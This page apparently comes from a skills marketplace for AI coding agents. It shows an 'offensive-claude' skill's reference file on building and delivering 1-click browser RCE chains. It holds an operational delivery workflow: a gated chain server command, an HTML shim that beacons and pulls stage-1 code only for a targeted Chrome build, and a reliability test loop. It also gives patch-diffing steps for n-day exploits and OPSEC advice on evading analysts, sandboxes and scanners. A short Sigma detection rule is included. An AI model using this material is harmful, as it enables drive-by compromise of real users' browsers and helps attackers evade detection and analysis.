Skip to content

hypnguyen1209/offensive-claude / skills/browser-exploitation

browser-exploitation

Verified

Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains

references/clientside-rce-chains.md

View on GitHub
# 1-Click Client-Side RCE Chain Assembly & Delivery

This cluster stitches the previous primitives into a reliable, deliverable exploit and covers cross-engine porting (JavaScriptCore/WebKit) and n-day construction by patch-diffing. The modern reality (2024-2026): a browser RCE is a **chain**, not a single bug.

## Theory / Mechanism

### The canonical 2025 chain shape
```
[delivery] malicious HTML/page (1-click drive-by, or 0-click if auto-rendered)
   -> [stage 1] V8/JSC engine bug      -> in-renderer arbitrary R/W   (v8-jit-typeconfusion.md)
   -> [stage 2] V8 heap-sandbox escape -> native R/W + code exec       (v8-sandbox-escape.md)
   -> [stage 3] OS-sandbox escape       -> code as the user            (renderer-to-browser-escape.md)
        via Mojo broker logic bug  OR  GPU-process (Dawn/ANGLE) memory bug
   -> [stage 4] post-exploitation: persistence / C2 / privesc          (feeds_into: initial-access, edr-evasion)
```
Real-world example (GTIG, 2025 Linux chain): **CVE-2025-5419 (V8 OOB)** → **CVE-2025-6558 (ANGLE escape)** → **CVE-2025-38352 (kernel race)**. Electron targets often skip stages 2-3 (see `electron-webview-rce.md`).

### Why chains, and why reliability is the hard part
Each stage must hand a *clean* state to the next or the whole thing crashes (a renderer crash = burned exploit + IOC). Reliability engineering is most of the work:
- **Deterministic spray**: shape the heap so the bug lands on a known object every run (allocate predictable sizes, defragment with filler, pin GC behavior by avoiding allocations between trigger and use).
- **Guarded primitives**: after each corruption, verify (re-read a sentinel / re-check a Map) and bail cleanly on failure rather than dereferencing garbage.
- **State restoration between stages**: fix up corrupted lengths/Maps/TPT entries so GC and later JS don't crash mid-chain.
- **Feature/UA gating**: serve stage-2+ only to the exact target build; everyone else gets benign content. This protects the 0-day and cuts noise.

### Cross-engine porting (JSC / WebKit)
The primitive ladder is engine-agnostic: JavaScriptCore has the same `addrof`/`fakeobj` shape via **`JSValue` NaN-boxing** (instead of V8 pointer compression) and **Butterfly**/`structureID` confusion (instead of Maps/element-kinds). Port by mapping concepts: V8 Map ↔ JSC Structure; V8 elements kind ↔ JSC `IndexingType`; V8 backing store ↔ JSC Butterfly. The delivery/gating logic in `chain_server.py` is identical; only the stage-1 JS body changes.

## Modern 2024-2026 variants (verified)

- **Full Linux chain CVE-2025-5419 → CVE-2025-6558 → CVE-2025-38352 (GTIG, in-the-wild, 2025)** — the reference "renderer → GPU/ANGLE escape → kernel" client-side RCE chain; all three actively exploited.
- **CVE-2025-2783 (Mojo) as a standalone stage-3** — "Operation ForumTroll" paired a renderer compromise with this logic-bug broker escape; canonical Windows escape stage.
- **Apple WebKit/JSC cross-engine (Dec 2025)** — **CVE-2025-43529** (WebKit UAF → ACE) + **CVE-2025-14174** (shared ANGLE OOB) exploited in tandem against targeted iOS users; demonstrates the same chain shape on JSC/WebKit and that ANGLE bugs cross the Blink/WebKit boundary.
- **Apple 2025 zero-day cadence** — Apple patched 9 ITW zero-days in 2025 (incl. CVE-2025-24201 WebKit, CVE-2025-31200/31201, CVE-2025-43300); WebKit is the iOS browser monoculture (all 3rd-party iOS browsers use it), so a JSC/WebKit chain is broadly applicable.
- **JSC TypedArray/DataView integer-overflow primitive (PoC, 2025)** — integer overflow computing memory offsets for `TypedArray`/`DataView` wraps at the 32-bit boundary → a deterministic OOB primitive that passes the initial bounds check; PoC-grade, not confirmed ITW. Good template for a JSC stage-1.

n-day path: when Chrome/V8 or WebKit ships a security fix, **patch-diff** the public commit (V8 lands fixes in the open repo) to recover the bug, then build the chain — this is the main route to an exploit when you lack a 0-day, and the reason `sandbox:false`/lagging Electron apps stay exploitable.

## Complete working code/commands

`scripts/chain_server.py` is a complete delivery server: UA/feature-gates the target, serves stage-1 JS only to matching builds, and streams later stages over an authenticated channel after stage-1 phones home.

```bash
# 1) Build stage files (per the other clusters):
#    renderer.js  = engine bug + addrof/fakeobj + R/W   (from scripts/v8_typer.js)
#    escape.js    = V8 sandbox escape + native exec      (from scripts/sandbox_escape.js)
#    payload.js   = OS-sandbox escape trigger / post-ex stager

# 2) Serve the gated chain:
python3 scripts/chain_server.py \
    --stage1 renderer.js --stage2 escape.js --stage3 payload.js \
    --target-ua 'Chrome/137.0.7151' \
    --target-feature 'WebAssembly,WebGPU' \
    --lhost 10.0.0.5 --lport 8080 --one-shot --expire 600

# 3) Reliability loop (run stage-1+2 locally N times before delivery; target >=90% success):
for i in $(seq 1 100); do d8 --allow-natives-syntax chain_local.js >/dev/null 2>&1 && echo ok; done | grep -c ok

# 4) n-day: diff a V8/WebKit security commit to recover the bug
git -C /path/to/v8 log --oneline --since=2025-05-01 -- src/ | head
git -C /path/to/v8 show <fix_commit>          # the added bounds check / map guard reveals the bug
```

Stage-1 gating shim served to every visitor (only the matched build advances):
```html
<script>
(async () => {
  const ua = navigator.userAgent;
  const ok = ua.includes("Chrome/137.0.7151") &&
             ("gpu" in navigator) && (typeof WebAssembly === "object");
  if (!ok) return;                              // benign for non-targets
  const s = document.createElement("script");
  s.src = "/s1?t=" + (await fetch("/beacon",{method:"POST"}).then(r=>r.text()));
  document.head.appendChild(s);                 // pull stage-1 only for the right build
})();
</script>
```

## Detection
```yaml
title: Drive-by Client-Side Exploit Delivery (staged JS over gated channel)
logsource: { category: proxy }
detection:
  html_with_blob:
    cs-content-type|contains: 'text/html'
    sc-bytes|gt: 50000
  ua_gated_fetch:                      # short beacon POST followed by a large JS GET to same host
    cs-method: 'POST'
    cs-uri-stem|endswith: ['/beacon','/b']
  condition: html_with_blob or ua_gated_fetch
level: medium
```
- Network IOCs: HTML page that POSTs a tiny beacon then GETs a large (>50KB) obfuscated JS; WebSocket/long-poll back to the staging host immediately after page load; content served only to one specific UA (UA-gated 0-day protection).
- Host IOCs: full-chain success shows up as the stage-3 effects from `renderer-to-browser-escape.md` (broker/GPU process anomalies, shell/LOLBin children) and crashpad bursts on failed attempts.
- Hunt: correlate a browser-version-gated page visit with a subsequent unusual child process within seconds.

## OPSEC
- **Touches**: network (delivery) + the per-stage artifacts of each cluster. The delivery infra is itself an IOC — burn it after use.
- **Single-use, expiring, UA/feature-gated URLs** (`--one-shot --expire`): protect the 0-day, prevent sandbox/analyst capture, and reduce telemetry. Never serve stage-2+ to a non-matching build (it will just crash and generate dumps).
- **Fail benign**: non-target visitors and failed type-checks must receive harmless content / bail silently — no crash, no dump.
- **Stage out of the renderer fast**: minimize time spent with corrupted heap state; restore state between stages; don't spawn children until you have to (and prefer injection — hand off to `edr-evasion`/`initial-access`).
- **Rotate staging infra** (JA3/JA4, domain, cert) per engagement; UA-gate so passive crawlers/scanners never see stage-1.

## References
- Penligent, "Chrome 2025 Zero-Days: The ANGLE, V8, and Mojo Kill Chain (full chain CVE-2025-5419/6558/38352)" — https://www.penligent.ai/hackinglabs/chrome-2025-zero-days-the-angle-v8-and-mojo-kill-chain/
- The Hacker News, "Apple Issues Security Updates After Two WebKit Flaws Found Exploited (CVE-2025-43529, CVE-2025-14174)" — https://thehackernews.com/2025/12/apple-issues-security-updates-after-two.html
- SecurityWeek, "Apple Patches Two Zero-Days Tied to Mysterious Exploited Chrome Flaw" — https://www.securityweek.com/apple-patches-two-zero-days-tied-to-mysterious-exploited-chrome-flaw/
- securityonline.info, "JavaScriptCore TypedArray/DataView integer-overflow primitive (iOS 26.2 PoC)" — https://securityonline.info/the-ios-26-2-trap-new-webkit-integer-overflow-discovered-with-poc-is-your-iphone-at-risk/
- Praetorian, "500,000 Vulnerabilities, 14 That Matter: Exploit Chain Analysis" — https://www.praetorian.com/blog/exploit-chain-analysis/
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 198kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall